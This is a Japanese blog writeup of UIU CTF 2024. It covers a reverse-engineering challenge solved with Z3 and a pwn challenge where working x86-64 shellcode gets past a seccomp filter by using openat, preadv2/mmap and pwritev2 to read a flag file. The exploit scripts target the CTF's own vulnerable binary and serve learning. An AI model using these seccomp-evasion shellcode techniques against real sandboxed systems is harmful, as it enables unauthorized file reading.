All Articles

UIU CTF 2024 Writeup

もくじ

Summarize(Rev)

All you have to do is find six numbers. How hard can that be?

問題バイナリをデコンパイラで解析すると、以下のように A から F までの整数を入力値として受け取り check 関数による検証を行うプログラムであることがわかります。

image-20240707134745268

check 関数は以下のような実装になっており、入力値として受け取った整数を FUNC1 から FUNC5 までの関数に渡すことで何らかの演算を行い、その結果を評価しています。

image-20240707140123074

ここからは、各関数の処理を順にみていきます。

FUNC1

FUNC1 は、入力値として受け取った 2 の引数のうち、第 2 引数の正負を逆転させてから FUNC2 を呼び出す関数です。

void FUNC1(undefined4 param_1,int param_2)
{
	FUNC2(param_1,-param_2);
	return;
}

FUNC2

FUNC2 では以下の計算を行います。

受け取った 2 つの引数のそれぞれを右シフトしていき、どちらかの値が 0 になるまでループ内の計算を行っています。

long FUNC2(uint x,uint y)
{
  uint m;
  uint n;
  uint Y;
  uint X;
  uint L;
  long K;
  byte b;
  
  K = 0;
  L = 0;
  b = 0;
  X = x;
  for (Y = y; (X != 0 || (Y != 0)); Y = Y >> 1) {
    m = X & 1;
    n = Y & 1;
    X = X >> 1;
    K = K + (ulong)((m ^ n ^ L) << (b & 0x1f));
    L = n & L | m & (n | L);
    b = b + 1;
  }
  return K + ((ulong)L << (b & 0x3f));
}

この計算を Python スクリプトに置き換えて Z3 で計算できるようにしたいところでしたが、シンボル変数を終了条件としたループを実装する必要があるため、Z3Py による Solver をうまく作成することができませんでした。

そこで、この関数内の計算をループを使用しない単純な式に落とし込むことを検討します。

Rev 力が足りずこの関数の構造を性的解析で見抜くことはできませんでしたが、この関数は単純に 2 つの変数を加算する操作を実施しています。

実際に、このコードを Python で再実装した以下のコードを使用してテストを行ってみると、ランダムな値で 1000 回の計算を行った場合でも、すべての結果は A + B の値と等しくなりました。

def FUNC2(x, y):
    K = 0
    L = 0
    b = 0
    X = x
    Y = y
    while X != 0 or Y != 0:
        m = X & 1
        n = Y & 1
        X = X >> 1
        Y = Y >> 1
        K = K + ((m ^ n ^ L) << (b & 0x1f))
        L = n & L | m & (n | L)
        b = b + 1
    return K + (L << (b & 0x3f))

from random import randint
for i in range(1000):
    A = randint(1,10000)
    B = randint(1,10000)
    assert FUNC2(A,B) == A + B
print("Finish.")

FUNC2 が加算処理であるため、必然的に FUNC1 は減算処理であることを特定できました。

FUNC3

FUNC3 のコードを Python で置き換えたテストコードは以下の通りです。

このコードも実際の操作としては積算処理を行っているだけであることがわかります。

def FUNC3(x, y):
    K = 0
    b = 0
    X = x
    while X != 0:
        K = K + (y << (b & 0x1f)) * (X & 1)
        X = X >> 1
        b = b + 1
    return K

from random import randint
for i in range(1000):
    A = randint(1,10000)
    B = randint(1,10000)
    assert FUNC3(A,B) == A * B

print("Finish.")

FUNC4

これは元のコードからも比較的容易に実装を把握できますが、XOR を行う関数であることがわかります。

def FUNC4(x, y):
    K = 0
    b = 0
    X = x
    Y = y
    while X != 0 or Y != 0:
        n = X & 1
        X = X >> 1
        K = K + ((n ^ (Y & 1)) << (b & 0x1f))
        Y = Y >> 1
        b = b + 1
    return K

# FUNC4
for i in range(1000):
    A = randint(1,10000)
    B = randint(1,10000)
    assert FUNC4(A,B) == A ^ B

print("Finish.")

FUNC5

この関数も、FUNC4 とほぼ同じ構造であり、AND 演算を行う関数であることがわかります。

def FUNC5(x, y):
    N = 0
    b = 0
    X = x
    Y = y
    while X != 0 or Y != 0:
        n = X & 1
        X = X >> 1
        N = N + ((n & Y & 1) << (b & 0x1f))
        Y = Y >> 1
        b = b + 1
    return N

# FUNC5
for i in range(1000):
    A = randint(1,10000)
    B = randint(1,10000)
    assert FUNC5(A,B) == A & B

print("Finish.")

Solver を作成する

ここまでの確認結果をもとに、以下の Solver を作成しました。

from z3 import *

A = BitVec(f"A", 32)
B = BitVec(f"B", 32)
C = BitVec(f"C", 32)
D = BitVec(f"D", 32)
E = BitVec(f"E", 32)
F = BitVec(f"F", 32)
G = BitVec(f"G", 32)

a = BitVec(f"a", 32)
b = BitVec(f"b", 32)
c = BitVec(f"c", 32)
d = BitVec(f"d", 32)
e = BitVec(f"e", 32)
f = BitVec(f"f", 32)
g = BitVec(f"g", 32)

s = Solver()

def FUNC1(X,Y):
    return X - Y

def FUNC2(X,Y):
    return X + Y

def FUNC3(X,Y):
    return X * Y

def FUNC4(X,Y):
    return X ^ Y

def FUNC5(X,Y):
    return X & Y

# Range num
s.add(And((A < 1000000000),(A > 100000001)))
s.add(And((B < 1000000000),(B > 100000001)))
s.add(And((C < 1000000000),(C > 100000001)))
s.add(And((D < 1000000000),(D > 100000001)))
s.add(And((E < 1000000000),(E > 100000001)))
s.add(And((F < 1000000000),(F > 100000001)))

a = FUNC1(A,B)
b = FUNC2(a,C)
c = FUNC2(A,B)
a = FUNC3(2,B)
d = FUNC3(3,A)
e = FUNC1(d,a)
f = FUNC4(A,D)
a = FUNC2(C,A)
g = FUNC5(B,a)
h = FUNC2(B,D)
a = FUNC2(D,F)
i = FUNC4(C,a)
j = FUNC1(E,F)
k = FUNC2(E,F)

s.add(
    And(
        (b % 0x10ae961 == 0x3f29b9),
        (c % 0x1093a1d == 0x8bdcd2),
        (e % f == 0x212c944d),
        (g % 0x6e22 == 0x31be),
        (((h & 0xffffffff) % A) == 0x2038c43c),
        (i % 0x1ce628 == 0x1386e2),
        (j % 0x1172502 == 0x103cf4f),
        (k % 0x2e16f83 == 0x16ab0d7)
    )
)

if s.check() == z3.sat:
    m = s.model()
    print(m)

この Solver を実行すると条件を満たす整数の組み合わせを取得できるので、これを問題バイナリへの入力として与えることで正しい Flag を取得できました。

image-20240707150331663

動的解析すればすぐに解ける問題でしたが、静的解析と Z3Py で解くことに固執した結果非常に多くの時間を溶かしました。

解きなおしてみるととても簡単でしたが、一回変な思考の罠にはまるとすぐにぬけだせないですね。

Syscalls(Pwn)

問題バイナリでは NX が Disable になっています。

image-20240708181828507

バイナリをデコンパイルすると、標準入力から受け取った 0xb0 バイト分の値が書き込まれた領域を実行コードとして呼び出すものであることがわかります。

void main(void)
{
  long in_FS_OFFSET;
  undefined input_code [184];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  get_code(input_code);
  seccomp-install();
  run_code(input_code);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

void get_code(char *param_1)
{
  puts(
      "The flag is in a file named flag.txt located in the same directory as this binary. That\'s al l the information I can give you."
      );
  fgets(param_1,0xb0,stdin);
  return;
}

void run_code(code *param_1)
{
  (*param_1)();
  return;
}

これだけであれば容易にエクスプロイトが可能そうですが、残念ながらこのコードでは入力を受け取った後に seccomp フィルタが登録されており、execve、execveat、fork、open、read、write などのシステムコールが軒並み禁止されていることがわかります。

参考:よちよち CTFer の Pwn 超入門 2 - seccomp の回避と Shell Code の基礎 編-

int seccomp-install(void)
{
  int iVar1;
  long in_FS_OFFSET;
  undefined2 local_e8 [4];
  undefined8 *local_e0;
  undefined8 local_d8;
  undefined8 local_d0;
  undefined8 local_c8;
  undefined8 local_c0;
  undefined8 local_b8;
  undefined8 local_b0;
  undefined8 local_a8;
  undefined8 local_a0;
  undefined8 local_98;
  undefined8 local_90;
  undefined8 local_88;
  undefined8 local_80;
  undefined8 local_78;
  undefined8 local_70;
  undefined8 local_68;
  undefined8 local_60;
  undefined8 local_58;
  undefined8 local_50;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  undefined8 local_18;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_d8 = 0x400000020;
  local_d0 = 0xc000003e16000015;
  local_c8 = 0x20;
  local_c0 = 0x4000000001000035;
  local_b8 = 0xffffffff13000015;
  local_b0 = 0x120015;
  local_a8 = 0x100110015;
  local_a0 = 0x200100015;
  local_98 = 0x11000f0015;
  local_90 = 0x13000e0015;
  local_88 = 0x28000d0015;
  local_80 = 0x39000c0015;
  local_78 = 0x3b000b0015;
  local_70 = 0x113000a0015;
  local_68 = 0x12700090015;
  local_60 = 0x12800080015;
  local_58 = 0x14200070015;
  local_50 = 0x1405000015;
  local_48 = 0x1400000020;
  local_40 = 0x30025;
  local_38 = 0x3000015;
  local_30 = 0x1000000020;
  local_28 = 0x3e801000025;
  local_20 = 0x7fff000000000006;
  local_18 = 6;
  local_e0 = &local_d8;
  local_e8[0] = 0x19;
  prctl(0x26,1,0,0,0);
  iVar1 = prctl(0x16,2,local_e8);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return iVar1;
}

image-20240708182346883

この seccomp フィルタのうち、気になるのは以下の箇所です。

 0017: 0x15 0x00 0x05 0x00000014  if (A != writev) goto 0023
 0018: 0x20 0x00 0x00 0x00000014  A = fd >> 32 # writev(fd, vec, vlen)
 0019: 0x25 0x03 0x00 0x00000000  if (A > 0x0) goto 0023
 0020: 0x15 0x00 0x03 0x00000000  if (A != 0x0) goto 0024
 0021: 0x20 0x00 0x00 0x00000010  A = fd # writev(fd, vec, vlen)
 0022: 0x25 0x00 0x01 0x000003e8  if (A <= 0x3e8) goto 0024
 0023: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0024: 0x06 0x00 0x00 0x00000000  return KIL

呼び出されるシステムコールが writev の場合には、単純に禁止するのではなく、引数の fd の評価を行って許可するか否かを決定しているようです。

解法 1:iovec 構造体を定義して openat、preadv2、pwritev2 を使用する

今回の問題バイナリの seccomp フィルタを回避してエクスプロイトを行う方法を考えます。

今回のバイナリでは open は禁止されていますが、openat は禁止されていないのでこれを使用してファイルディスクリプタを取得することはできそうです。

また、Flag を取得するための read と write の代替になる preadv2 と pwritev2 は禁止されていないようです。

#include <sys/uio.h>
ssize_t readv(int fd, const struct iovec *iov, int iovcnt);
ssize_t writev(int fd, const struct iovec *iov, int iovcnt);

ssize_t preadv(int fd, const struct iovec *iov, int iovcnt, off_t offset);
ssize_t pwritev(int fd, const struct iovec *iov, int iovcnt, off_t offset);

ssize_t preadv2(int fd, const struct iovec *iov, int iovcnt, off_t offset, int flags);
ssize_t pwritev2(int fd, const struct iovec *iov, int iovcnt, off_t offset, int flags);

参考:preadv2(2) — manpages-dev — Debian testing — Debian Manpages

参考:x64.syscall.sh

参考:SEC-T CTF 2019 Writeup - CTFするぞ

今回のバイナリでも禁止されている preadv と pwritev は iovec 構造体の配列へのポインタである iov で指定されたバッファを使用して読み取り、書き込みを行うことができるシステムコールです。

iov で複数のバッファを使用してデータの読み書きを行う以外は read、write と同様に動作します。

preadv2 と pwritev2 はこれらのシステムコールを拡張したもので、システムコールの挙動を変更する flag 引数が追加されている点や、ファイルディスクリプタとして -1 を指定した場合に現在のファイルオフセット(?) が使用される点に違いがあるようです。

These system calls are similar to preadv() and pwritev() calls, but add a fifth argument, flags, which modifies the behavior on a per-call basis.

Unlike preadv() and pwritev(), if the offset argument is -1, then the current file offset is used and updated.

参考:preadv2(2) — manpages-dev — Debian testing — Debian Manpages

参考:man preadv (2): 複数のバッファへの読み書きを行なう

このシステムコールを使用した Solver は以下のように実装できます。

from pwn import *

context.binary = exe = ELF('./syscalls')

code="""
// openat(AT_FDCWD(-100), file, 0)
mov rdi, -100
lea rsi, [rip+filename] 
mov rdx, 0           
mov rax, 257             
syscall                  

// preadv2(fd, iov, 1, 0, 0)
xor r10, r10
xor r8, r8
mov rdi, rax
push 0x100
mov r15, rsp
add r15, 0x100
push r15
mov rsi, rsp
mov rdx, 1
mov rax, 327
syscall

// pwritev2(1, iov, 1, -1, 0)
xor r8, r8
mov r10, -1
mov rdi, 1  
mov rdx, 1
mov rsi, rsp
mov rax, 328               
syscall              

filename:
    .string "./flag.txt"
"""

shellcode = asm(code)

target = remote("syscalls.chal.uiuc.tf", 1337, ssl=True)

target.sendlineafter("you.", shellcode)
target.interactive()

最初のセクションでは第 1 引数にカレントディレクトリを示す AT_FDCWD(-100) を指定することで、./flag.txt のファイルディスクリプタを取得できるようにしています。

// openat(AT_FDCWD(-100), file, 0)
mov rdi, -100
lea rsi, [rip+filename] 
mov rdx, 0           
mov rax, 257             
syscall      

以降のセクションでは、preadv2 と pwritev2 を用いて、ファイルから read した Flag を標準出力に渡しています。

この Solver を実行すると以下のように Flag を取得することができます。

image-20240708223240998

解法 2:iovec 構造体を定義して openat、mmap、pwritev2 を使用する

Writeup を参考に、別解として preadv2 ではなく mmap を使用する方法を実践してみます。

mmap を利用すると、read を使用できない場合でもファイル内のデータをメモリ領域に読み出すことができるようです。

#include <sys/mman.h>

void *mmap(void addr[.length], size_t length, int prot, int flags, int fd, off_t offset);

参考:mmap(2) - Linux manual page

参考:ファイルの読み書きにmmapを使ってみる - Corgi Lab. ~備忘録のための技術ブログ~

そのため、解法 1 のシェルコードで preadv2 を利用している箇所をそのまま mmap に置き換えた以下のコードでも Flag を取得できます。

from pwn import *

context.binary = exe = ELF('./syscalls')

code="""
lea rsi, [rip+filename]
mov rdi, 0
xor rdx, rdx
mov rax, 257
syscall

// mmap(addr=0, length=0x1000, prot=PROT_READ (1), flags=MAP_PRIVATE (2), fd='rax', offset=0)
push 2
pop r10
mov r8, rax
xor r9, r9
xor edi, edi
mov rdx, 1
mov rsi, 4096
push 9
pop rax
syscall

/* pwritev2(vararg_0=1, vararg_1='rsp', vararg_2=1, vararg_3=-1, vararg_4=0) */
push 0x100
push rax
mov r10, -1
xor r8, r8
mov rdi, 1
mov rsi, rsp
mov rdx, rdi
mov rax, 328
syscall

filename:
    .string "/home/user/flag.txt"
"""

shellcode = asm(code)

target = remote("syscalls.chal.uiuc.tf", 1337, ssl=True)
target.sendlineafter("you.", shellcode)
target.interactive()

image-20240708195518246

このコードでは、mmap で PROT_READ を使用することで、flag.txt のファイルディスクリプタからデータを読み出したメモリ領域を確保し、そのアドレスを iov が指すバッファとして使用することで pwritev2 による Flag のリークを可能にしています。

まとめ

Shell Code は奥が深い。